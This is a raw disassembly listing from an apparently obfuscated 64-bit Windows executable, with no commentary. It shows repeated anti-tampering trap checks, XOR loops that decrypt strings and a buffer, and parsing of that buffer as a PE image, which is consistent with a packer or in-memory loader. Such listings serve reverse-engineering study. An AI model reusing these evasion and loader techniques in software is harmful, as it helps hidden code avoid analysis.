mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x14001ff94
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ff74
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ff74
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ff94
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
test r15, r15
je 0x14002c269
cmp qword [rbp + 0x10f8], r13
je 0x14002c269
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x140020054
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020034
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020034
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020054
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.14002d3dc
mov rdx, rax
mov r8, rdi
mov rcx, r15
call fcn.1400b5390
mov rax, qword gs:[0x23]
movabs rdi, 0x43cd74f94e7736a0
cmp rax, rbx
jne 0x140020129
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020109
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020109
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020129
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x1400201e8
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400201c8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400201c8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400201e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.14002dad8
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x1400202a0
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020280
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020280
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400202a0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x14002034f
mov rax, qword gs:[0x5f]
mov ecx, 0xd969f13c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002032f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002032f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002034f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r13
mov r8d, r13d
mov rdi, r13
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14002037c
mov ebx, r13d
movabs r11, 0x8080808080808081
test r14, r14
je 0x140020494
mov rcx, r13
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, r15
mov r15, r11
and rcx, rsi
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov esi, edi
mov ecx, r13d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x14002040c
movzx ecx, r10b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, r14
mov esi, 7
jb 0x1400203ef
mov r15, qword [rbp - 0x40]
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x23]
mov r14d, 0xcae3443f
mov edi, 0x208c51f
mov r8d, 0xc8da7f20
mov r9d, 0x12764b03
cmp rax, r14
jne 0x140020563
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020543
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020543
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020563
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
movabs rbx, 0x43cd74f94e7736a0
cmp rax, r14
jne 0x140020617
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400205f7
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400205f7
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020617
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r14
jne 0x1400206d0
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400206b0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400206b0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400206d0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
mov ecx, 0x5a4d
cmp word [r15], cx
je 0x140020ab7
cmp rax, r14
jne 0x14002078e
mov rax, qword gs:[0x5f]
mov ecx, 0xd969f13c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002076e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002076e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002078e
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3da0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], Ordinal_200
mov r10, r13
mov r11, r12
movabs rbx, 0x1a6340e63
movabs r8, 0x1c0974f493
movabs r9, 0x3812e9e926
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, sil
shl cl, 3
movabs rdi, 0x1a6340e62
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, r12
cmp r8, r9
jb 0x1400207d5
mov byte [rbp + 0x2a1], r13b
movdqa xmm0, xmmword [0x1400d3bf0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400d3b30]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400d3d20]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x5dc6dd77
mov dword [rbp + 0xc8c], 0x3487dbf3
mov dword [rbp + 0xc90], 0xb5ad1f8c
mov word [rbp + 0xc94], 0xa
mov r9, r13
mov r10d, 0x3d
movabs r8, 0x649a676d97
movabs r11, 0xc934cedb2e
movabs r14, 0x1a6340e62
mov cl, r9b
and cl, sil
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x1400208bd
mov byte [rbp + 0xc95], r13b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
mov r14d, 0xcae3443f
cmp rax, r14
jne 0x1400209f4
mov rax, qword gs:[0x5f]
movabs rcx, 0x43cd74f94e7736a0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400209d4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400209d4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400209f4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rcx, qword gs:[0x23]
cmp rcx, r14
jne 0x14002c5a6
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020a97
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020a97
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c5a6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
cmp rax, r14
jne 0x140020b67
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020b47
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020b47
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020b67
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movsxd rdx, dword [r15 + 0x3c]
add rdx, r15
mov qword [rbp + 0xfe8], rdx
mov rax, qword gs:[0x23]
mov edi, 0xd969f13c
cmp rax, r14
jne 0x140020c24
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020c04
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020c04
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020c24
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
je 0x140021006
cmp rax, r14
jne 0x140020cdd
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020cbd
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020cbd
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020cdd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3da0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], Ordinal_200
mov r10, r13
mov r11, r12
movabs rbx, 0x1a6340e63
movabs r8, 0x1c0974f493
movabs r9, 0x3812e9e926
movabs r14, 0x8080808080808081
mov cl, r10b
and cl, sil
shl cl, 3
movabs rdi, 0x1a6340e62
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, r12
cmp r8, r9
jb 0x140020d24
mov byte [rbp + 0x3d9], r13b
movdqa xmm0, xmmword [0x1400d3bf0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400d3b40]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400d3d20]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x5dc6dd77
mov dword [rbp + 0xccc], 0x3487dbf3
mov dword [rbp + 0xcd0], 0xb5ad1f8c
mov word [rbp + 0xcd4], 0xa
mov r9, r13
mov r10d, 0x3d
movabs r8, 0x649a676d97
movabs r11, 0xc934cedb2e
movabs r15, 0x1a6340e62
mov cl, r9b
and cl, sil
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140020e0c
mov byte [rbp + 0xcd5], r13b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
mov r15d, 0xcae3443f
cmp rax, r15
jne 0x140020f43
mov rax, qword gs:[0x5f]
movabs rcx, 0x43cd74f94e7736a0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020f23
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020f23
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020f43
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14002c5a6
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020fe6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020fe6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c5a6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
cmp rax, r14
jne 0x1400210a7
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021087
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021087
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400210a7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400d3b50]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x785603fc
mov dword [rbp + 0x98c], 0xb27f8c03
mov dword [rbp + 0x990], 0xa5c5f1a1
mov word [rbp + 0x994], 0x2f8f
mov byte [rbp + 0x996], al
mov r8, r13
movabs r9, 0x317a19af9a
lea r10d, [rax + 0x1e]
movabs r13, 0x1a6340e63
movabs r15, 0x1a6340e62
mov cl, r8b
and cl, sil
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r13
add r10, 0x1e
movabs rax, 0x62f4335f34
cmp r9, rax
jb 0x14002111c
xor r14d, r14d
mov byte [rbp + 0x996], r14b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400d3c70]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400d3aa0]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8d, r14d
mov rbx, r15
movabs r9, 0x33204dbdfd
lea r10d, [r14 + 0x1f]
mov r15d, 0xcae3443f
mov cl, r8b
and cl, sil
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xad8]
xor dil, r8b
mov byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r13
add r10, 0x1f
movabs rax, 0x66409b7bfa
cmp r9, rax
jb 0x1400211d5
mov byte [rbp + 0xaf7], r14b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.14002c5b4
mov rax, qword gs:[0x23]
cmp rax, r15
movabs rbx, 0x43cd74f94e7736a0
mov edi, 0x208c51f
jne 0x140021367
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021347
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021347
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021367
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x140021411
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400213f1
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400213f1
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021411
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
xor ecx, ecx
call fcn.140097004
mov rcx, rax
call fcn.1400928e4
mov rax, qword gs:[0x23]
mov r8d, 0xc8da7f20
mov r9d, 0x12764b03
cmp rax, r15
jne 0x1400214e5
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400214c5
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400214c5
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400214e5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14002159e
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002157e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002157e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002159e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x140021657
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
